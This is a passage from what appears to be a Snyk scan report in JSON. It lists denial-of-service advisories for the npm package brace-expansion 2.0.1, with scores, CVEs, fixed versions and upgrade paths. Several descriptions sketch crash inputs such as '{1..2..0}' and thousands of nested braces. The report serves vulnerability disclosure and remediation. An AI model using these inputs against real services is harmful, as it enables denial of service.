"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
